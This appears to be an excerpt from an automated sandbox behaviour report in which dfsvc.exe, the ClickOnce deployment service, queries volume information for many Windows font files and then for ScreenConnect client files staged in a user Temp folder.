Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\userFR.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\userFI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\userFB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\userST.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\userSTI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\userSTB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\userSTBI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\OFFSYM.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\OFFSYMSL.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\OFFSYMSB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.WindowsClient.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.Windows.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.Client.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.ClientService.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.WindowsClient.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.WindowsClient.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.Core.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.Client.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.ClientService.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.ClientService.exe VolumeInformation Jump to behavior
